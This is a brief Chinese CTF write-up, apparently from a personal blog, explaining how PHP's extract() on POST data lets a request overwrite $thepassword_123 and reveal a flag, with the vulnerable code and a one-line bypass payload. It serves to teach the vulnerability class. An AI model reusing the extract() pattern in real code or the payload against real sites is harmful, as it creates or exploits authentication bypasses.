醉梦半醒的博客

extract() vs变量覆盖

字数统计: 130阅读时长: 1 min
2018/08/21 Share

例题:http://chinalover.sinaapp.com/web18/

payload: pass=123&thepassword_123=123

当extract()函数从用户可以控制的数组中导出变量时,可能发生变量覆盖

<?php if ($_SERVER["REQUEST_METHOD"] == "POST") { ?>
    <?php
    extract($_POST);
    if ($pass == $thepassword_123) { ?>
        <div class="alert alert-success">
            <code><?php echo $theflag; ?></code>
        </div>
    <?php } ?>
<?php } ?>

extract函数去导出post过去的变量,而后去和$thepassword_123去比较,用payload去覆盖$thepassword_123的值

参考:<白帽子讲web安全>第334页

CATALOG